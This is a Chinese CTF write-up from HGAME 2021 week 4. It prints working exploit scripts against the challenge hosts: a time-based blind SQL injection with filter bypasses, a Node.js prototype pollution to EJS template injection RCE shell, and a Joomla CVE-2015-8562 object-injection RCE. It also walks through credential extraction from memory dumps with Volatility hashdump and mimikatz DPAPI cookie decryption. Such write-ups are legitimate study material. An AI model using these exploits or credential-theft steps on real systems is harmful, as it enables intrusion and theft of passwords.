这周好困好困，每天醒来只能保持 3h 的精力，哎。题目卡住以后倒是把寒假计划中的其他事情摸完了。

Web

Unforgettable

这道题是截止前几个小时静下心来做的，本来都打算放掉这题去把我暑假计划的其他东西搞定

之前测试的时候发现我注册的账号很快就会失效（被删除）

初步怀疑是和 sql 注入有关，而且注入点应该和账号的信息有关

回过神来已经是 ddl 前几个小时了，开始尝试找注入点

先测试了用户名，发现有一些过滤：

> 空格、and、=、sleep、<、>、like、||、union

等号用 regexp 代替

空格用/**/代替

sleep 用 benchmark 代替

然后试了这个用户名：

```
1'/**/#
```

在首页中是这样

但是进入/user后是这样：



说明 sql 语句在 /user 页面执行了

然后就是盲注

有好些细节还不太懂，问了liki，然后写了程序

```
import httpx
from bs4 import BeautifulSoup
import time

session = httpx.Client(proxies={'all://':None})

def tryPayload(payload):
    username = payload
    username = username.replace(' ', '/**/')
    print(username)
    r = session.get('https://unforgettable.liki.link/register')
    csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
    email = str(int(time.time())) + '@qq.com'
    password = str(int(time.time()))
    registerData = {'csrf_token':csrf_token,
                    'username':username,
                    'email':email,
                    'password':password,
                    'submit':'注册'}
    # print(registerData)
    r =
session.post('https://unforgettable.liki.link/register',data=registerData)
    result = BeautifulSoup(r,'lxml').find('div',class_='alert').contents[2]
    print(result)
    if 'You have registered!' in result:
        r = session.get('https://unforgettable.liki.link/login')
        csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')
['value']
        loginData = {'csrf_token':csrf_token,
                    'email':email,
                    'password':password,
                    'submit':'登录'}
        session.post('https://unforgettable.liki.link/login',data=loginData)
        r =
session.get('https://unforgettable.liki.link/user',timeout=600,allow_redirects=F
alse)
        # 这个不允许跳转真的太太太重要了
        print(r.elapsed.total_seconds())
        return r.elapsed.total_seconds()

def getOutput(shell):
    # 获取返回结果的长度
    outputLength = 1
    while 1:
        temp = ''
        for _ in range(outputLength):
            temp += '.'
        payload = "1'&& if(({}) regexp
'^{}',0,benchmark(5000000,sha2('a',256)))#{}".format(shell, temp,
str(int(time.time())))
        if tryPayload(payload) < 1.5:
            outputLength += 1
        else:
            break
    print(outputLength)
```

```
    # 获取返回的结果
    output = ''
    wordList = '_,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
@$~'
    for _ in range(outputLength-1): # 末尾是"\0"所以少读一位就够了
        for i in range(len(wordList)):
            temp = output
            temp += wordList[i]
            payload = "1'&& if(({}) regexp
'^{}',benchmark(5000000,sha2('a',256)),0)#{}".format(shell, temp,
str(int(time.time())))
            if tryPayload(payload) > 1.5:
                output += wordList[i]
                break
    print(output)
    return output

# 数据库名
DBName = getOutput('database()')
# DBName = 'todolist'
print(DBName)
# 表名
tableNames = getOutput("select group_concat(table_name) from
information_schema.tables where table_schema in ('{}')".format(DBName))
# tableNames = 'ffflllaagggg,todolist,user'
print(tableNames)
tableName = tableNames[:tableNames.index(',')]
# 表字段
columnName = getOutput("select group_concat(column_name) from
information_schema.columns where table_name in ('{}')".format(tableName))
# columnName = 'fflllaaaagg'
print(columnName)
# 获取flag
flag = getOutput('select/**/{}/**/from/**/{}'.format(columnName, tableName))
# flag = '0rm_i5_th3_s0lu7ion'
print(flag)
```

hgame{0rm_i5_th3_s0lu7ion}

漫无止境的星期日

代码分析，判断存在原型链污染问题

```
21  app.all('/', (req, res) => {
22      let data = { name: "", discription: "" }
23      if (req.ip === "::ffff:127.0.0.1") {
24          data.crying = true
25      }
26      if (req.method == 'POST') {
27          Object.keys(req.body).forEach((key) => {
28              if (key !== "crying") {
29                  data[key] = req.body[key]
30              }
31          })
32          req.session.crying = data.crying
33          req.session.name = data.name
34          req.session.discription = data.discription
35          return res.redirect(302, '/show');
36      }
37
38      return res.render('loop')
39  })
40
```

本来 Post 的是表单数据，利用特性，可以 Post Json 上去，让服务器解析，结合资料：

[深入理解 JavaScript Prototype 污染攻击]

构建payload：

```
{"name": "test1", "discription": "test2", "__proto__": {"crying": true}}
```

```
POST / HTTP/1.1
Host: macguffin.0727.site:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 72
Origin: http://macguffin.0727.site:5000
Connection: keep-alive
Referer: http://macguffin.0727.site:5000/
Cookie:
session=s%3AuEWtEG5MuA_NVp9z9mNwNEbgEhnjKkvs.7yuRO4EBr6nSvOeKn3m
72wfFOvZoXd%2Fze8QUuWcCEKo
Upgrade-Insecure-Requests: 1

{"name": "test1", "discription": "test2", "__proto__":
{"crying": true}}
```

```
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /show
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 54
Set-Cookie: session=s%3AwRYUoKq2Ys_7lfk73tb-VNPuwc6y1Uur.b3fA
Date: Mon, 22 Feb 2021 11:24:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<p>Found. Redirecting to <a href="/show">/show</a></p>
```

发送后获得新 Cookie

成功进入 Wish 页面（这里大意了，挺早就构造了对的 Payload，结果一直没有去 Wish 页面检查是否可以进入）

接下来就是考虑利用这个模板字符串的漏洞

```
61      if (req.method == 'POST') {
62          let wishes = req.body.wishes
63          req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
64          return res.redirect(302, '/show');
65      }
```

然后写了程序测试了一下

```
payload:<%= 1+1 %>
<div class="wishes">2</div>
```

成功执行语句

然后试了半天成功执行 shell 语句

```
<%- global.process.mainModule.require('child_process').execSync('ls') %>
```

然后贴程序:

```
import httpx
from bs4 import BeautifulSoup
session = httpx.Client(proxies={'all://':None})
while 1:
    payload = {'wishes': "<%-
global.process.mainModule.require('child_process').execSync('"+input('payload:')
+"') %>"}

    payload1 = {"name": "test3", "discription": "test2", "__proto__": {"crying":
True}}
    r = session.post('http://macguffin.0727.site:5000/',json =
payload1,allow_redirects=False)
    print(r.content)
    session.post('http://macguffin.0727.site:5000/wish', json = payload)
    r = session.get('http://macguffin.0727.site:5000/show')
    soup = BeautifulSoup(r,'lxml')
    print(soup.find('div', class_='wishes'))
```

然后开始翻目录





hgame{nOdeJs_Prot0type_ls_fUnny&Ejs_Templ@te_Injection}

中间有特殊符号

索性就这样拿

```
cat ../../../flag|base64
```

hgame{nOdeJs_Prot0type_ls_fUnny&Ejs_Templ@te_Injection}

joomlaJoomla!!!!!

因为各种奇奇怪怪的原因，跑去用 kali 了。

按照下面的代码安装 msfconsole

```
sudo systemctl enable --now postgresql
sudo gem install bundler -v 2.2.4
sudo msfdb reinit
sudo msfconsole
```

使用 msfconsole 中的 joomla_version 程序分析 joomla 版本

```
sudo msfconsole
search joomla
use auxiliary/scanner/http/joomla_version
set RHOSTS 0300ccc44c.joomla.r4u.top
set RPORT 6788
run
```

```
msf6 > use auxiliary/scanner/http/joomla_version
msf6 auxiliary(scanner/http/joomla_version) > show options

Module options (auxiliary/scanner/http/joomla_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the Joomla application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host

msf6 auxiliary(scanner/http/joomla_version) > set RHOSTS 0300ccc44c.joomla.r4u.top
RHOSTS => 0300ccc44c.joomla.r4u.top
msf6 auxiliary(scanner/http/joomla_version) > set RPORT 6788
RPORT => 6788
msf6 auxiliary(scanner/http/joomla_version) > run

[*] Server: Apache/2.4.10 (Debian) PHP/5.6.12
[+] Joomla version: 3.4.5
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

可以看出网站程序版本是 3.4.5

下载 Joomla 3.4.5 和题目提供的网站程序进行比较





可以看出这里有一个过滤”|“的操作，针对CVE-2015-8562做的防护

不过这个应该双写||就能绕过，毕竟只替换一次。

然后就是看看大佬们的脚本

然后面向 Ctrl-C+V 编程，加入自己需要的一些东西

（这里因为print一次打印的字符有限，在测试的时候直接将文本输出到了文件中查看，然后再修改程序）

程序：

```
import requests
def conversor(data):
    # 将命令转换一下
    converted_cmd = ""
    for char in data:
        converted_cmd += "chr({0}).".format(ord(char))
    return converted_cmd[:-1]

def build_payload(rce_payload):
```

```
    rce_payload = "eval({0})".format(conversor(rce_payload))
    end = '\xf0\xfd\xfd\xfd' # 截断操作 仿照wordpress的xss
    payload = r'''}__test||O:21:"JDatabaseDriverMysqli":'''\
                r'''3:{s:2:"fc";O:17:"JSimplepieFactory":'''\
                r'''0:{}s:21:"\0\0\0disconnectHandlers";'''\
                r'''a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{'''\
                r'''s:8:"sanitize";O:20:"JDatabaseDriverMysql":'''\
                r'''0:{}s:8:"feed_url";'''
    payload_field = "{0};JFactory::getConfig();exit".format(rce_payload)
    payload += r'''s:{0}:"{1}"'''.format(str(len(payload_field)),
                                         payload_field)
    payload += r''';s:19:"cache_name_function";s:6:"assert";'''\
                r'''s:5:"cache";b:1;s:11:"cache_class";O:20:'''\
                r'''"JDatabaseDriverMysql":0:{}}i:1;s:4:'''\
                r'''"init";}}s:13:"\0\0\0connection";b:1;}''' + end
    return payload

def get_url(url, ua):
    headers={'User-Agent': ua}
    session = requests.session()
    r = session.get(url, headers=headers)
    for _ in range(3):
        r = session.get(url, headers=headers)
    return r

while 1:
    payload = 'system(\'' + input('$') + '\');'
    r = get_url('http://0300ccc44c.joomla.r4u.top:6788/',build_payload(payload))
    print(r.content.decode()
[r.content.decode().index('</html>')+8:r.content.decode().index('<b>Warning</b>:
assert():')-8])
```

运行程序然后直接输入命令即可



hgame{WelCoME~TO-ThIs_Re4Lw0RLD}

MISC

Akira之瞳-1

判断内存镜像的操作系统

```
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw imageinfo
```

```
PS C:\User      Downloads\important_work_bf81f2db20bfa2045a4cd2f6e6214544> .\volatility_2.6_win64_standalone.exe -f .\important_work.raw imageinfo
Volatility      ndation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (C:\Users      Downloads\important_work_bf81f2db20bfa2045a4cd2f6e6214544\important_work.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf8000403b0a0L
          Number of Processors : 16
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff8000403cd00L
                KPCR for CPU 1 : 0xfffff88004700000L
                KPCR for CPU 2 : 0xfffff88004776000L
                KPCR for CPU 3 : 0xfffff880047ec000L
                KPCR for CPU 4 : 0xfffff88004840000L
                KPCR for CPU 5 : 0xfffff880048b6000L
                KPCR for CPU 6 : 0xfffff8800492c000L
                KPCR for CPU 7 : 0xfffff880049a2000L
                KPCR for CPU 8 : 0xfffff880049d8000L
                KPCR for CPU 9 : 0xfffff88004a94000L
               KPCR for CPU 10 : 0xfffff88004b0a000L
               KPCR for CPU 11 : 0xfffff88004b80000L
               KPCR for CPU 12 : 0xfffff88004c00000L
               KPCR for CPU 13 : 0xfffff88004c76000L
               KPCR for CPU 14 : 0xfffff88004cec000L
               KPCR for CPU 15 : 0xfffff88004d62000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-02-18 09:47:25 UTC+0000
     Image local date and time : 2021-02-18 17:47:25 +0800
```

列出进程列表

```
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw --
profile=Win7SP1x64_23418 pslist
```

```
PS C:\Users\24385\Downloads\important_work_bf81f2db20bfa2045a4cd2f6e6214544> .\volatility_2.6_win64_standalone.exe -f .\important_work.raw --profile=Win7SP1x64_23418 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa800cd34040 System                    4      0    158      487 ------      0 2021-02-18 09:45:38 UTC+0000
0xfffffa800d975b30 smss.exe                364      4      2       44 ------      0 2021-02-18 09:45:38 UTC+0000
0xfffffa800d88f9d0 csrss.exe               456    420      9      539      0      0 2021-02-18 09:45:41 UTC+0000
0xfffffa800cd52060 wininit.exe             500    420      4       95      0      0 2021-02-18 09:45:41 UTC+0000
0xfffffa800e139b30 csrss.exe               520    508     11      235      1      0 2021-02-18 09:45:41 UTC+0000
0xfffffa800e182910 services.exe            568    500     14      283      0      0 2021-02-18 09:45:41 UTC+0000
0xfffffa800e193910 lsass.exe               576    500     10      618      0      0 2021-02-18 09:45:41 UTC+0000
0xfffffa800e198b30 lsm.exe                 584    500     11      167      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e3b0060 winlogon.exe            680    508      7      139      1      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e3c4b30 svchost.exe             720    568     13      411      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e3e8060 vm3dservice.ex          780    568      3       59      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e3fb3e0 svchost.exe             820    568      7      315      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e42bb30 svchost.exe             896    568     21      455      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e42a750 svchost.exe             940    568     23      487      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e445740 svchost.exe             968    568     44      900      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e479b30 audiodg.exe             180    896      6      149      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e49a890 svchost.exe             400    568     14      600      0      0 2021-02-18 09:45:42 UTC+0000
0xfffffa800e4bb3a0 svchost.exe             212    568     22      432      0      0 2021-02-18 09:45:43 UTC+0000
0xfffffa800e5f4410 spoolsv.exe            1184    568     17      360      0      0 2021-02-18 09:45:43 UTC+0000
0xfffffa800e614520 svchost.exe            1212    568     27      367      0      0 2021-02-18 09:45:43 UTC+0000
0xfffffa800e745b30 VGAuthService.         1532    568      5      121      0      0 2021-02-18 09:45:44 UTC+0000
0xfffffa800e7bd060 vmtoolsd.exe           1584    568     11      285      0      0 2021-02-18 09:45:44 UTC+0000
0xfffffa800e84ab30 WmiPrvSE.exe           1848    720     11      202      0      0 2021-02-18 09:45:44 UTC+0000
0xfffffa800e832b30 dllhost.exe            1292    568     36      297      0      0 2021-02-18 09:45:45 UTC+0000
0xfffffa800e8fab30 svchost.exe             444    568      7      111      0      0 2021-02-18 09:45:45 UTC+0000
0xfffffa800e708960 dllhost.exe            2148    568     17      240      0      0 2021-02-18 09:45:45 UTC+0000
0xfffffa800e9524e0 msdtc.exe              2240    568     16      173      0      0 2021-02-18 09:45:45 UTC+0000
0xfffffa800e994060 VSSVC.exe              2440    568      6      134      0      0 2021-02-18 09:45:46 UTC+0000
0xfffffa800eae1b30 WmiPrvSE.exe           2692    720     12      307      0      0 2021-02-18 09:46:04 UTC+0000
0xfffffa800eb54950 WmiApSrv.exe           2800    568      7      129      0      0 2021-02-18 09:46:05 UTC+0000
0xfffffa800eb8b630 taskhost.exe           2960    568     10      196      1      0 2021-02-18 09:46:50 UTC+0000
0xfffffa800ec09b30 dwm.exe                1540    940      7      131      1      0 2021-02-18 09:46:51 UTC+0000
0xfffffa800ec12b30 explorer.exe           2232   3064     32      713      1      0 2021-02-18 09:46:51 UTC+0000
0xfffffa800ecaf210 vm3dservice.ex         1364   2232      5       81      1      0 2021-02-18 09:46:54 UTC+0000
0xfffffa800ec313e0 vmtoolsd.exe           1268   2232      9      180      1      0 2021-02-18 09:46:54 UTC+0000
0xfffffa800e5ab460 taskmgr.exe            2780    680     12      144      1      0 2021-02-18 09:46:59 UTC+0000
0xfffffa800e5c6b30 SearchIndexer.         1252    568     13      647      0      0 2021-02-18 09:47:00 UTC+0000
0xfffffa800ed50b30 wmpnetwk.exe           2572    568     13      251      0      0 2021-02-18 09:47:00 UTC+0000
0xfffffa800ed2eb30 svchost.exe            2596    568     13      182      0      0 2021-02-18 09:47:00 UTC+0000
0xfffffa800f246670 SearchProtocol          736   1252      7      245      1      0 2021-02-18 09:47:11 UTC+0000
0xfffffa800f248060 SearchFilterHo         2552   1252      5      101      0      0 2021-02-18 09:47:11 UTC+0000
0xfffffa800f263b30 important_work         1092   2232      1       16      1      1 2021-02-18 09:47:15 UTC+0000
0xfffffa800f260060 conhost.exe            1372    520      2       63      1      0 2021-02-18 09:47:16 UTC+0000
0xfffffa800f29fb30 cmd.exe                1340   1092      1       29      1      1 2021-02-18 09:47:16 UTC+0000
0xfffffa800ec13590 dllhost.exe            3128    720      6      102      1      0 2021-02-18 09:47:21 UTC+0000
0xfffffa800f2ba750 dllhost.exe            3184    720      6       99      0      0 2021-02-18 09:47:22 UTC+0000
0xfffffa800f277b30 DumpIt.exe             3216   2232      2       75      1      1 2021-02-18 09:47:22 UTC+0000
0xfffffa800edc6240 conhost.exe            3224    520      2       61      1      0 2021-02-18 09:47:22 UTC+0000
```



发现可疑程序

导出内存

```
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw --
profile=Win7SP1x64_23418 memdump -p 1092 --dump-dir=./
```

使用 foremost 分析内存数据

```
foremost 1092.dmp
```

得到一个 zip 文件

压缩包加密了，但是给出了提示

```
Password is sha256(login_password)
```

查询系统登录密码

```
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw --
profile=Win7SP1x64_23418 hashdump
```





所以把 nt-hash 直接丢到 cmd5 里解密 可以得到密码

将获得的密码 sha256 加密后得到：

20504cdfddaad0b590ca53c4861edd4f5f5cf9c348c38295bd2dbf0e91bca4c3

解压文件

拿到两张照片

使用 BlindWaterMark 解盲水印



然后拿着小拳拳去找出题人问

获得flag

hgame{7he_f1ame_brin9s_me_end1ess_9rief}

噪点不是亿点点的多

Akira之瞳-2

```
wget https://bootstrap.pypa.io/2.6/get-pip.py
sudo python2 get-pip.py
sudo pip2 install --upgrade pip
sudo pip2 install --upgrade setuptools
sudo apt install python-dev
sudo pip2 install pycrypto
sudo pip2 install distorm3
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py install
```

然后就是标准操作：

```
vol.py -f secret_work.raw imageinfo
vol.py -f secret_work.raw --profile=Win7SP1x64_23418 filescan
```

但是内存中有大量的文件，根本看不过来

盲猜需要的文件名中含有 "dump"

使用 grep 筛选：

```
vol.py -f secret_work.raw --profile=Win7SP1x64_23418 filescan|grep "dump"
```



导出文件

```
vol.py -f secret_work.raw --profile=Win7SP1x64_23418 dumpfiles -Q
0x000000007ef94820 -D ./
```



打开后




```
zip password is: 5trqES&P43#y&1TO
And you may need LastPass
```

解压 secret.7z 后，得到：



根据 txt 的提示，接下来的任务和LastPass有关

查阅相关文章，顺便翻了一下去年的WP

https://www.freebuf.com/articles/system/117553.html

https://www.ghettoforensics.com/2013/10/dumping-malware-configuration-data-from.html

https://github.com/kevthehermit/volatility_plugins/tree/master/lastpass

```
sudo pip2 install yara-python
```

然后尝试：

```
vol.py --plugins=/home/atom/volatility_plugins/lastpass -f secret_work.raw --
profile=Win7SP1x64_23418 lastpass
```

获得一个登录密码

> UserName: windows login & miscrosoft
> Pasword: vlg*q3x6GFa5aFBA

查资料解那个 Chrome 的 Cookies 文件

修改文件夹选项，把这个勾勾点掉，就可以看到 S-1-5-21-262715442-3761430816-2198621988-1001 文件夹下的文件





使用 mimikatz 计算 master key （这里傻乎乎卡了半天，最后问了 Akira 才知道那个文件是隐藏的）

```
dpapi::masterkey
/in:"D:\hgame\week4\secret_work_bd40aea1c133a4d6422925deccb139e9\secret\S-1-5-21-
262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6"
/sid:S-1-5-21-262715442-3761430816-2198621988-1001 /password:vIg*q3x6GFa5aFBA
```

```
[masterkey] with password: vIg*q3x6GFa5aFBA (normal user)
  key : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b
0b669e05fb7eb6f8
  sha1: 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57
```

master key：8fc9b889a47a7216d5b39c87f8192d84a9eb8c57

然后解 Cookies：

```
dpapi::chrome
/in:"D:\hgame\week4\secret_work_bd40aea1c133a4d6422925deccb139e9\secret\Cookies"
/masterkey:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57
```

```
mimikatz # dpapi::chrome /in:"D:\hgame\week4\secret_work_bd40aea1c133a4d6422925deccb139e9\secret\Cookies" /masterkey:8fc
9b889a47a7216d5b39c87f8192d84a9eb8c57

Host  : localhost ( / )
Name  : VeraCrypt
Dates : 2021/2/19 14:08:59 -> 2022/2/19 14:00:00
 * volatile cache: GUID:{57935170-beab-4565-ba79-2b09570b95a6};KeyHash:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57;Key:avai
lable
 * masterkey     : 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57
Cookie: !bWjAqM2z!iSoJsV*&IRV@*AVI1VrtAb
```

> Host : localhost (/)
> Name : VeraCrypt
> Dates : 2021/2/19 14:08:59 -> 2022/2/19 14:00:00
>
> - volatile cache: GUID:{57935170-beab-4565-ba79-2b09570b95a6};KeyHash:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57;Key:available
> - masterkey   : 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57
>   Cookie: !bWjAqM2z!iSoJsV*&IRV@*AVI1VrtAb

和去年一样使用 VeraCrypt 加载加密卷



打开加密卷



根据图片文件名的提醒，这一步是要解NTFS交换数据流隐写

由于懒得装其他软件，直接盲猜flag所在位置

```
notepad.exe ADS.jpg:flag.txt
```



hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}

PS. yara 是一个包 yara-python是一个包 yara-ctypes 又是一个包，最开始我装的是yara，结果。。。



嗯 孩子走的很安详 解决方案